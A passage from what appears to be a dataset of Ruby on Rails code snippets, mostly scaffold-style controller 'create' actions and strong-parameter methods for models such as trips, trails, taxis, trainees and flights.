respond_to do |format|\n if @trax.save\n format.html { redirect_to @trax, notice: 'Trax was successfully created.' }\n format.json { render :show, status: :created, location: @trax }\n else\n format.html { render :new }\n format.json { render json: @trax.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trail = Trail.new(params[:trail])\n\n respond_to do |format|\n if @trail.save\n format.html { redirect_to @trail, notice: 'Trail was successfully created.' }\n format.json { render json: @trail, status: :created, location: @trail }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trail.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trail = Trail.new(trail_params)\n\n respond_to do |format|\n if @trail.save\n format.html { redirect_to @trail, notice: 'Trail was successfully created.' }\n format.json { render :show, status: :created, location: @trail }\n else\n format.html { render :new }\n format.json { render json: @trail.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trip = Trip.new(trip_params)\n authorize @trip\n @trip.submitter = current_account.accountable\n\n\n @trip.estimated_expenses.each do |exp|\n exp.requests.each do |req|\n req.amount_from_total = req.percentrequested * exp.total\n req.destination = @trip.destination\n req.expense_type = 'estimated'\n end\n end\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to home_index_path, notice: 'Trip was successfully created.' }\n format.json { render :show, status: :created, location: @trip }\n else\n format.html { render :new }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trainees = TraineeBatch.new(params[:participants][:ids], params[:training_calendar_id])\n respond_to do |format|\n if @trainees.save\n format.html { redirect_to training_calendar_path(params[:training_calendar_id]), :notice => 'The participant(s) were successfully added.' }\n format.json { render :json => @trainees, :status => :created, :location => @trainees }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @trainees.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @tribe = Tribe.new(tribe_params)\n\n respond_to do |format|\n if @tribe.save\n format.html { redirect_to @tribe, notice: 'Tribe was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tribe }\n else\n format.html { render action: 'new' }\n format.json { render json: @tribe.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @travel = Travel.new(travel_params)\n\n respond_to do |format|\n if @travel.save\n format.html { redirect_to @travel, notice: \"Travel was successfully created.\" }\n format.json { render :show, status: :created, location: @travel }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @travel.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @traffic = Traffic.new(params[:traffic])\n\n respond_to do |format|\n if @traffic.save\n format.html { redirect_to @traffic, notice: 'Traffic was successfully created.' }\n format.json { render json: @traffic, status: :created, location: @traffic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @traffic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @technic = Technic.new(technic_params)\n\n respond_to do |format|\n if @technic.save\n format.html { redirect_to @technic, notice: 'Technic was successfully created.' }\n format.json { render :show, status: :created, location: @technic }\n else\n format.html { render :new }\n format.json { render json: @technic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tracer = Tracer.new(tracer_params)\n\n respond_to do |format|\n if @tracer.save\n format.html { redirect_to @tracer, notice: \"Tracer was successfully created.\" }\n format.json { render :show, status: :created, location: @tracer }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @tracer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trail = Trail.new(trail_params)\n\n respond_to do |format|\n if @trail.save\n format.html { redirect_to @trail, notice: 'Trail was successfully created.' }\n format.json { render action: 'show', status: :created, location: @trail }\n else\n format.html { render action: 'new' }\n format.json { render json: @trail.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trajectory = Trajectory.new(params[:trajectory])\n\n respond_to do |format|\n if @trajectory.save\n format.html { redirect_to @trajectory, notice: 'Trajectory was successfully created.' }\n format.json { render json: @trajectory, status: :created, location: @trajectory }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trajectory.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trafficofficer = Trafficofficer.new(trafficofficer_params)\n\n respond_to do |format|\n if @trafficofficer.save\n format.html { redirect_to @trafficofficer, notice: 'Trafficofficer was successfully created.' }\n format.json { render :show, status: :created, location: @trafficofficer }\n else\n format.html { render :new }\n format.json { render json: @trafficofficer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ticket_transcation = TicketTranscation.new(ticket_transcation_params)\n\n respond_to do |format|\n if @ticket_transcation.save\n format.html { redirect_to @ticket_transcation, notice: 'Ticket transcation was successfully created.' }\n format.json { render :show, status: :created, location: @ticket_transcation }\n else\n format.html { render :new }\n format.json { render json: @ticket_transcation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n #@incident = @quote.incidents.new(incident_params)\n logger.info params[:incident]\n params[:incident].each do |incident|\n @incident = @quote.incidents.new(incident)\n @incident.save\n end\n respond_to do |format|\n format.json { render :json => { :code => \"201\", :description => \"Created incidents\"} }\n end\n end", "def create\n @controltleit = Controltleit.new(controltleit_params)\n\n respond_to do |format|\n if @controltleit.save\n format.html { redirect_to @controltleit, notice: 'Controltleit was successfully created.' }\n format.json { render :show, status: :created, location: @controltleit }\n else\n format.html { render :new }\n format.json { render json: @controltleit.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tracing = Tracing.new(tracing_params)\n\n respond_to do |format|\n if @tracing.save\n format.html { redirect_to @tracing}\n format.json { render action: 'show', status: :created, location: @tracing }\n else\n format.html { render action: 'new' }\n format.json { render json: @tracing.errors, status: :unprocessable_entity }\n end\n end\n end", "def trav_params\n params.require(:traveler).permit(:name, :sex, :age, :destinations, :pic, :trvldates, :bio, :tagline, :family_id, :user_id)\n end", "def create\n @associated_trial = AssociatedTrial.new(associated_trial_params)\n\n respond_to do |format|\n if @associated_trial.save\n format.html { redirect_to @associated_trial, notice: 'Associated trial was successfully created.' }\n format.json { render :show, status: :created, location: @associated_trial }\n else\n format.html { render :new }\n format.json { render json: @associated_trial.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n begin\n Twitter.user_timeline(params[:foodtruck][:handle])\n Foodtruck.create(params[:foodtruck])\n redirect_to '/foodtrucks'\n rescue\n redirect_to '/foodtrucks/new'\n end\n end", "def create\n @clinic_timing = ClinicTiming.new(params[:clinic_timing])\n\n respond_to do |format|\n if @clinic_timing.save\n format.html { redirect_to @clinic_timing, notice: 'Clinic timing was successfully created.' }\n format.json { render json: @clinic_timing, status: :created, location: @clinic_timing }\n else\n format.html { render action: \"new\" }\n format.json { render json: @clinic_timing.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @taxi = Taxi.new(taxi_params)\n\n respond_to do |format|\n if @taxi.save\n format.html { redirect_to @taxi, notice: 'Taxi was successfully created.' }\n format.json { render :show, status: :created, location: @taxi }\n else\n format.html { render :new }\n format.json { render json: @taxi.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n trip = Trip.create(trip_params)\n\n respond_with trip\n end", "def create\n @tradeview = Tradeview.new(tradeview_params)\n\n respond_to do |format|\n if @tradeview.save\n format.html { redirect_to @tradeview, notice: 'Tradeview was successfully created.' }\n format.json { render :show, status: :created, location: @tradeview }\n else\n format.html { render :new }\n format.json { render json: @tradeview.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @flight_turbulence = FlightTurbulence.new(flight_turbulence_params)\n\n respond_to do |format|\n if @flight_turbulence.save\n format.html { redirect_to @flight_turbulence, notice: 'Flight turbulence was successfully created.' }\n format.json { render :show, status: :created, location: @flight_turbulence }\n else\n format.html { render :new }\n format.json { render json: @flight_turbulence.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @taxi = current_user.taxis.new(params[:taxi])\n\n respond_to do |format|\n if @taxi.save\n format.html { redirect_to @taxi, notice: 'Taxi was successfully created.' }\n format.json { render json: @taxi, status: :created, location: @taxi }\n else\n format.html { render action: \"new\" }\n format.json { render json: @taxi.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trainee = Trainee.new(trainee_params)\n\n respond_to do |format|\n if @trainee.save\n format.html { redirect_to @trainee, notice: 'Trainee was successfully created.' }\n format.json { render :show, status: :created, location: @trainee }\n else\n format.html { render :new }\n format.json { render json: @trainee.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n data = \"date,r,s\\r\\n\"+params[:data]\n csv = CSV.new(data, :headers => true, :header_converters => :symbol, :converters => :all)\n\n h = csv.to_a.map {|row| row.to_hash }\n\n h.each do |e|\n t = Traffic.find_by date:e[:date]\n if t!=nil \n t.delete \n end\n Traffic.create(e)\n end\n\n @traffics = Traffic.all\n render \"index\"\n end", "def create\n #not sure why this was here...? @trips = Trip.all\n\n @expense_report = ExpenseReport.new(expense_report_params)\n authorize @expense_report\n @expense_report.submitter = current_account.accountable\n\n @expense_report.actual_expenses.each do |exp|\n exp.requests.each do |req|\n req.amount_from_total = req.percentrequested * exp.total\n req.destination = @expense_report.trip.destination\n req.expense_type = 'actual'\n end\n end\n\n\n respond_to do |format|\n if @expense_report.save\n format.html { redirect_to home_index_path, notice: 'Expense report was successfully created.' }\n format.json { render :show, status: :created, location: @expense_report }\n else\n format.html { render :new }\n format.json { render json: @expense_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n travel = Travel.new(travel_params)\n if travel.save\n render json: travel, status: 201, location: travel # :created\n\n # if you do not want to send back\n # render nothing: true, status: 204, location: travel\n else\n render json: travel.errors, status: 422 # :unprocessable_entity\n end\n end", "def create\n @travel = Travel.new(travel_params)\n @travel.user = current_user\n\n respond_to do |format|\n if @travel.save\n format.html { redirect_to @travel, notice: 'Travel was successfully created.' }\n format.json { render :show, status: :created, location: @travel }\n else\n format.html { render :new }\n format.json { render json: @travel.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend", "def create\n @trial = Trial.new(trial_params)\n\n respond_to do |format|\n if @trial.save\n format.html { redirect_to @trial, notice: 'Trial was successfully created.' }\n format.json { render action: 'show', status: :created, location: @trial }\n else\n format.html { render action: 'new' }\n format.json { render json: @trial.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @dis_additive_frequency = DisAdditiveFrequency.new(dis_additive_frequency_params)\n\n\n if @dis_additive_frequency.save\n flash[:notice] = \"Task was successfully created.\"\n respond_with(@dis_additive_frequency)\n else\n flash[:notice] = \"Task was not created.\"\n end\n end", "def create\n @tottle = Tottle.new(tottle_params)\n\n respond_to do |format|\n if @tottle.save\n format.html { redirect_to @tottle, notice: 'Tottle was successfully created.' }\n format.json { render :show, status: :created, location: @tottle }\n else\n format.html { render :new }\n format.json { render json: @tottle.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @timing = Timing.new(params[:timing].slice(:start, :stop, :days, :parent_class, :parent_id, :active))\n if @timing.save\n render json: @timing\n else\n render json: { error: 'error: could not save timing' }\n end\n end", "def create\n @transport_subsidy = TransportSubsidy.new(params[:transport_subsidy])\n\n respond_to do |format|\n if @transport_subsidy.save\n format.html { redirect_to @transport_subsidy, notice: 'Transport subsidy was successfully created.' }\n format.json { render json: @transport_subsidy, status: :created, location: @transport_subsidy }\n else\n format.html { render action: \"new\" }\n format.json { render json: @transport_subsidy.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_trip\n # Only attempt to create trip if all the necessary pieces are there\n return false unless @itinerary && @trip && @service && @user\n \n label = request_label(:book, trip_id)\n \n @http_request_bundler.add(\n label, \n @url + \"/create_trip\", \n :post,\n head: headers,\n body: body_for_booking(@booking_options).to_json\n ).response!(label)\n end", "def create\n @dtpic = Dtpic.new(params[:dtpic])\n\n respond_to do |format|\n if @dtpic.save\n format.html { redirect_to @dtpic, notice: 'Dtpic was successfully created.' }\n format.json { render json: @dtpic, status: :created, location: @dtpic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dtpic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @my_time_trial = MyTimeTrial.new(params[:my_time_trial])\n\n respond_to do |format|\n if @my_time_trial.save\n format.html { redirect_to @my_time_trial, :notice => 'My time trial was successfully created.' }\n format.json { render :json => @my_time_trial, :status => :created, :location => @my_time_trial }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @my_time_trial.errors, :status => :unprocessable_entity }\n end\n end\n end", "def trip_params\n params.require(:trip).permit(:name, :description, :user_id, :start_date, :airport_id, :base64, attendee_ids:[], leg_ids:[])\n end", "def tribe_params\n params.require(:tribe).permit(:name, :description, :adjective, :icon, :join_pic, :license_text)\n end", "def create\n\t\t@public_officer = PublicOfficer.find(params[:public_officer_id])\n\t\t@commission = @public_officer.commissions.find(params[:commission_id])\n\t\t@trip = @commission.trips.find(params[:trip_id])\n\t\t@detail = @trip.detail\n\t\t@flight = @detail.flights.new(params[:flight])\n\n\t\trespond_to do |format|\n\t\t\tif @flight.save\n\t\t\t\tformat.html { redirect_to @flight, notice: 'Flight was successfully created.' }\n\t\t\t\tformat.json { render json: @flight, status: :created, location: @flight }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @flight.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create\n \n params[\"_json\"].each do |params_hash|\n puts params_hash.inspect\n @ticker_activity = TickerActivity.new(params_hash)\n @ticker_activity.save\n end\n\n #@ticker_activity = TickerActivity.new(params[:ticker_activity])\n\n respond_to do |format|\n if @ticker_activity.save\n format.html { redirect_to @ticker_activity, notice: 'Ticker was successfully created.' }\n format.json { render json: @ticker_activity, status: :created, location: @ticker_activity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ticker_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n trip = current_user.trips.new(trip_params)\n if trip.save\n render json: {\n status: :created,\n trip: trip\n }\n else\n render json: {\n status: 500,\n errors: trip.errors.full_messages\n }\n end\n end", "def create\n @treq = Treq.new(params[:treq])\n \n respond_to do |format|\n if @treq.save\n unless params[:treq_files].blank?\n params[:treq_files]['file'].each do |a|\n @treq_file = @treq.treq_files.create!(:file => a, :treq_id => @treq.id)\n end\n end\n TreqNotifier.submit_treq(@treq).deliver\n format.html { redirect_to @treq, notice: 'Treq was successfully created.' }\n format.json { render json: @treq, status: :created, location: @treq }\n else\n format.html { render action: \"new\", alert: \"Test Requset has been submitted.\"}\n format.json { render json: @treq.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trip = Trip.new(trip_params)\n @trip.session_id = session.id\n @trip.user_id = current_user.id\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to @trip.parent || @trip, notice: 'Trip was successfully created.', change: 'list' }\n format.json { render action: 'show', status: :created, location: @trip, day: 1 }\n else\n format.html { render action: 'new' }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tcredito = Tcredito.new(tcredito_params)\n\n respond_to do |format|\n if @tcredito.save\n format.html { redirect_to @tcredito, notice: 'Tcredito was successfully created.' }\n format.json { render :show, status: :created, location: @tcredito }\n else\n format.html { render :new }\n format.json { render json: @tcredito.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trend = Trend.new(params[:trend])\n\n respond_to do |format|\n if @trend.save\n format.html { redirect_to @trend, :notice => 'Trend was successfully created.' }\n format.json { render :json => @trend, :status => :created, :location => @trend }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @trend.errors, :status => :unprocessable_entity }\n end\n end\n end", "def ticket_transcation_params\n params.require(:ticket_transcation).permit(:notes, :ticket_status_id, :ticket_id, :ticket_sub_status_id, :ticket_attachment_id)\n end", "def create\n @tenure = Tenure.new(params[:tenure])\n\n respond_to do |format|\n if @tenure.save\n format.html { redirect_to @tenure, notice: 'Tenure was successfully created.' }\n format.json { render json: @tenure, status: :created, location: @tenure }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tenure.errors, status: :unprocessable_entity }\n end\n end\n end", "def trip_params\n params.require(:trip).permit(:start_date, :end_date, :name, :completed, :notes)\n end", "def create\n @transit = Transit.new(transit_params)\n respond_to do |format|\n if @transit.save\n if params[:transit][:side_trip_id]\n @side_trip = SideTrip.find(params[:transit][:side_trip_id])\n @side_trip.transits << @transit\n format.html { redirect_to @side_trip, notice: 'Transit was successfully created.' }\n end\n if params[:cohort_id]\n @cohorts.transits << @transit\n end\n format.html { redirect_to @transit, notice: 'Transit was successfully created.' }\n format.json { render :show, status: :created, location: @transit }\n else\n format.html { render :new }\n format.json { render json: @transit.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @flight = scope.new(flight_params)\n\n if @flight.save\n json_response(@flight.decorate.as_json(flight_details: true),\n :created)\n else\n json_response(@flight.errors, :unprocessable_entity)\n end\n end", "def create\n data = []\n trace_params.each do |p|\n hash = {\n latitude: p[\"latitude\"],\n longitude: p[\"longitude\"]\n }\n data << hash\n end\n\n if Trace.upload_data(data)\n render json: {status: 'OK'}\n else\n render json: @trace.errors, status: :unprocessable_entity\n end\n end", "def create\n @vehicle_realtime = VehicleRealtime.new(vehicle_realtime_params)\n\n respond_to do |format|\n if @vehicle_realtime.save\n format.html { redirect_to @vehicle_realtime, notice: 'Vehicle realtime was successfully created.' }\n format.json { render :show, status: :created, location: @vehicle_realtime }\n else\n format.html { render :new }\n format.json { render json: @vehicle_realtime.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @controltnytt = Controltnytt.new(controltnytt_params)\n\n respond_to do |format|\n if @controltnytt.save\n format.html { redirect_to @controltnytt, notice: 'Controltnytt was successfully created.' }\n format.json { render :show, status: :created, location: @controltnytt }\n else\n format.html { render :new }\n format.json { render json: @controltnytt.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @transcendence = Transcendence.new(transcendence_params)\n\n respond_to do |format|\n if @transcendence.save\n format.html { redirect_to @transcendence, notice: 'Transcendence was successfully created.' }\n format.json { render action: 'show', status: :created, location: @transcendence }\n else\n format.html { render action: 'new' }\n format.json { render json: @transcendence.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @click_thru = ClickThru.new(params[:click_thru])\n\n respond_to do |format|\n if @click_thru.save\n format.html { redirect_to @click_thru, notice: 'Click thru was successfully created.' }\n format.json { render json: @click_thru, status: :created, location: @click_thru }\n else\n format.html { render action: \"new\" }\n format.json { render json: @click_thru.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @trio = Trio.new(name: Time.now.strftime('%d/%m/%Y-%H:%M:%S'), frequency: 0.05, frequency_operator: '<=', impacts: ['high', 'medium'])\n respond_with(@trio)\n end", "def create\n @chronic = Chronic.new(chronic_params)\n\n respond_to do |format|\n if @chronic.save\n format.html { redirect_to @chronic, notice: 'Chronic was successfully created.' }\n format.json { render :show, status: :created, location: @chronic }\n else\n format.html { render :new }\n format.json { render json: @chronic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tangent = Tangent.new(tangent_params)\n\n respond_to do |format|\n if @tangent.save\n format.html { redirect_to @tangent, notice: 'Tangent was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tangent }\n else\n format.html { render action: 'new' }\n format.json { render json: @tangent.errors, status: :unprocessable_entity }\n end\n end\n end", "def CreateTicket params = {}\n\n APICall(path: 'tickets.json',method: 'POST',payload: {ticket: params}.to_json)\n \n end", "def create\n @trek = Trek.new(params[:trek])\n\n respond_to do |format|\n if @trek.save\n format.html { redirect_to @trek, notice: 'Trek was successfully created.' }\n format.json { render json: @trek, status: :created, location: @trek }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trek.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @flight = Flight.new(params[:flight])\n\n if @flight.save\n render json: @flight, status: :created, location: @flight\n else\n render json: @flight.errors, status: :unprocessable_entity\n end\n end", "def create\n @transference = Transference.new(transference_params)\n\n respond_to do |format|\n if @transference.save\n format.html { redirect_to @transference, notice: 'Transference was successfully created.' }\n format.json { render :show, status: :created, location: @transference }\n else\n format.html { render :new }\n format.json { render json: @transference.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trip = Trip.new(trip_params)\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to current_user, notice: 'Trip was successfully created.' }\n format.json { render :show, status: :created, location: @trip }\n else\n format.html { redirect_to current_user, notice: \"Trip can't be created\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def create\n @technician_status = TechnicianStatus.new(technician_status_params)\n\n respond_to do |format|\n if @technician_status.save\n format.html { redirect_to @technician_status, notice: 'Technician status was successfully created.' }\n format.json { render :show, status: :created, location: @technician_status }\n else\n format.html { render :new }\n format.json { render json: @technician_status.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @audit_trail = AuditTrail.new(audit_trail_params)\n\n respond_to do |format|\n if @audit_trail.save\n format.html { redirect_to @audit_trail, notice: \"Audit trail was successfully created.\" }\n format.json { render :show, status: :created, location: @audit_trail }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @audit_trail.errors, status: :unprocessable_entity }\n end\n end\n end", "def tribe_params\n params.require(:tribe).permit(:slug, :name, :mother_id, :data)\n end", "def create\n @trend = Trend.new(params[:trend])\n\n respond_to do |format|\n if @trend.save\n format.html { redirect_to @trend, notice: 'Trend was successfully created.' }\n format.json { render json: @trend, status: :created, location: @trend }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trend.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @technical = Technical.new(technical_params)\n\n respond_to do |format|\n if @technical.save\n format.html { redirect_to @technical, notice: 'Técnico cadastrado com sucesso.' }\n format.json { render action: 'show', status: :created, location: @technical }\n else\n format.html { render action: 'new' }\n format.json { render json: @technical.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trace = Trace.new\n if @trace.save\n @trace.import_points(points_data)\n status = :created\n else\n status = :bad_request\n end\n\n render json: @trace, status: status\n end", "def create\n @tb_solicitud = TbSolicitud.new(tb_solicitud_params)\n\n respond_to do |format|\n if @tb_solicitud.save\n format.html { redirect_to @tb_solicitud, notice: 'Tb solicitud was successfully created.' }\n format.json { render :show, status: :created, location: @tb_solicitud }\n else\n format.html { render :new }\n format.json { render json: @tb_solicitud.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tax = Tax.new(tax_params)\n\n if @tax.save\n render json: @tax, status: :created, location: @tax\n else\n render json: @tax.errors, status: :unprocessable_entity\n end\n end", "def create\n @traceroute = Traceroute.new(traceroute_params)\n\n respond_to do |format|\n if @traceroute.save\n flash[:notice] = 'traceroute was successfully created.'\n format.html { redirect_to @traceroute, notice: 'Traceroute was successfully created.' }\n format.json { render action: 'show', status: :created, location: @traceroute }\n else\n format.html { render action: 'new' }\n format.json { render json: @traceroute.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tccapi = Tccapi.new(tccapi_params)\n\n respond_to do |format|\n if @tccapi.save\n format.html { redirect_to @tccapi, notice: 'Tccapi was successfully created.' }\n format.json { render :show, status: :created, location: @tccapi }\n else\n format.html { render :new }\n format.json { render json: @tccapi.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trip = Trip.new(trip_params)\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to @trip, notice: 'Trip was successfully created.' }\n format.json { render :show, status: :created, location: @trip }\n else\n format.html { render :new }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trip_schedule = TripSchedule.new(trip_schedule_params)\n\n respond_to do |format|\n if @trip_schedule.save\n format.html { redirect_to @trip_schedule, notice: 'Trip schedule was successfully created.' }\n format.json { render :show, status: :created, location: @trip_schedule }\n else\n format.html { render :new }\n format.json { render json: @trip_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tuition = Tuition.new(tuition_params)\n\n respond_to do |format|\n if @tuition.save\n format.html { redirect_to @tuition, notice: 'Tuition was successfully created.' }\n format.json { render :show, status: :created, location: @tuition }\n else\n format.html { render :new }\n format.json { render json: @tuition.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contra = Contra.new(contra_params)\n \n if @contra.save\n flash[:success] = \"#{@contra.title} was sucessfully saved\"\n redirect_to @contra\n else\n render :new\n end\n end", "def create\n @trip = Trip.new(trip_params)\n\n respond_to do |format|\n if @trip.save\n # Get the permission's type which represent an usual user and an admin one.\n permUser = Permission_type.find_by(permission: \"user\").id\n permAdmin = Permission_type.find_by(permission: \"admin\").id\n\n # Create current user's admin permission on the new created trip.\n adminPerm = Permission.new(:user_id => current_user.id, :trip_id => @trip.id, :permission_type_id => permAdmin, :accepted => 1)\n adminPerm.save\n # Create a \"user\" permission for each selected users.\n if params[\"users\"]\n params[\"users\"].each do |user|\n userId = user[2, user.length]\n\n # We don't add the current user, which is an admin.\n if userId != String(current_user.id)\n currentPermission = user[0] == \"1\" ? permAdmin : permUser\n\n perm = Permission.new(:user_id => userId, :trip_id => @trip.id, :permission_type_id => currentPermission, :accepted => 0)\n perm.save\n end\n end\n end\n\n # Create each waypoint of the trip.\n if params['waypoints']\n i = 0\n params['waypoints'].each do |waypoint|\n i += 1\n w = Stop.new(:title => @trip.title + \" - #{i}\", :loc_lat => waypoint[1][0], :loc_lon => waypoint[1][1], :trip_id => @trip.id, :etape_nb => i)\n w.save\n end\n\n # If the endpoint is also the startpoint, add an extra stop.\n if params['arrivalEqualsStart']\n w = Stop.new(:title => @trip.title + \" - #{i + 1}\", :loc_lat => params[\"waypoints\"][\"0\"][0], :loc_lon => params[\"waypoints\"][\"0\"][1], :trip_id => @trip.id, :etape_nb => (i + 1))\n w.save\n end\n end\n\n format.html { redirect_to @trip, notice: 'Trip was successfully created.' }\n format.json { render :show, status: :created, location: @trip }\n else\n format.html { render :new }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @treino = Treino.new(treino_params)\n\n respond_to do |format|\n if @treino.save\n format.html { redirect_to @treino, notice: 'Treino was successfully created.' }\n format.json { render :show, status: :created, location: @treino }\n else\n format.html { render :new }\n format.json { render json: @treino.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n attrs = whitelist(params, :create).merge customer: current_user.becomes(Users::Customer)\n dattrs = attrs.delete(:destinations_attributes)\n\n @travel = Travels::Travel.new(attrs)\n\n dattrs.each_key do |key|\n dattr = dattrs[key]\n iattrs = dattr.delete(:items_attributes)\n\n dest = Travels::Places::Destination.new(dattr)\n\n iattrs.each_key do |key|\n @travel.items.build(iattrs[key]).destination = dest\n end if iattrs\n end\n\n # @travel.customer = current_user.becomes(Users::Customer)\n\n respond_to do |format|\n if @travel.save\n format.html { redirect_to status_travel_path(@travel), notice: \"Gracefully created the travel!\" }\n format.json { render json: @travel, status: :created, location: @travel }\n else\n format.html { redirect_to new_travel_path, alert: \"Failed to create the travel! Errors: #{@travel.errors.full_messages}\" }\n format.json { render json: @travel.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trainee = Trainee.new(trainee_params)\n\n respond_to do |format|\n if @trainee.save\n format.html { redirect_to action: 'new', notice: 'Got it! Welcome to WCBN' }\n format.json { render :show, status: :created, location: @trainee }\n else\n format.html { render :new }\n format.json { render json: @trainee.errors, status: :unprocessable_entity }\n end\n end\n end", "def trip_params\n params.require(:trip).permit(:correspondance_id, :host_id, :duration, :start_date, :validated)\n end", "def create\n @treinamento_ti = TreinamentoTi.new(treinamento_ti_params)\n\n respond_to do |format|\n if @treinamento_ti.save\n format.html { redirect_to @treinamento_ti, notice: 'Treinamento de TI criado com sucesso.' }\n format.json { render action: 'show', status: :created, location: @treinamento_ti }\n else\n format.html { render action: 'new' }\n format.json { render json: @treinamento_ti.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trannig = Trannig.new(trannig_params)\n\n respond_to do |format|\n if @trannig.save\n format.html { redirect_to @trannig, notice: 'Trannig was successfully created.' }\n format.json { render :show, status: :created, location: @trannig }\n else\n format.html { render :new }\n format.json { render json: @trannig.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trade = @target.trades.new(trade_params)\n @trade.save\n respond_with(@target,@trade, :location => target_trades_url(@target))\n end", "def create\n @taxi_sevice = TaxiSevice.new(taxi_sevice_params)\n\n respond_to do |format|\n if @taxi_sevice.save\n format.html { redirect_to action: \"index\" }\n else\n format.html { render :new }\n format.json { render json: @taxi_sevice.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tecnico = Tecnico.new(params[:tecnico])\n\n respond_to do |format|\n if @tecnico.save\n format.html { redirect_to @tecnico, :notice => 'Tecnico was successfully created.' }\n format.json { render :json => @tecnico, :status => :created, :location => @tecnico }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @tecnico.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @trip = Trip.new(params[:trip])\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to @trip, :notice => 'Trip was successfully created.' }\n format.json { render :json => @trip, :status => :created, :location => @trip }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @trip.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @technician = Technician.new(params[:technician])\n\n respond_to do |format|\n if @technician.save\n format.html { redirect_to(@technician, :notice => 'Technician was successfully created.') }\n format.xml { render :xml => @technician, :status => :created, :location => @technician }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @technician.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @tier = Tier.new(params[:tier])\n @tier.member = current_member\n\n respond_to do |format|\n if @tier.save\n if params[:endeavor_id]\n @tier.tierings.create :endeavor_id => params[:endeavor_id]\n end\n format.html { redirect_to @tier, :notice => \"Your #{current_member.tiers.count.ordinalize} tier.\" }\n format.json { render :json => @tier, :status => :created, :location => @tier }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @tier.errors, :status => :unprocessable_entity }\n end\n end\n end", "def tuition_params\n params.require(:tuition).permit(:customer_id, :due_date, 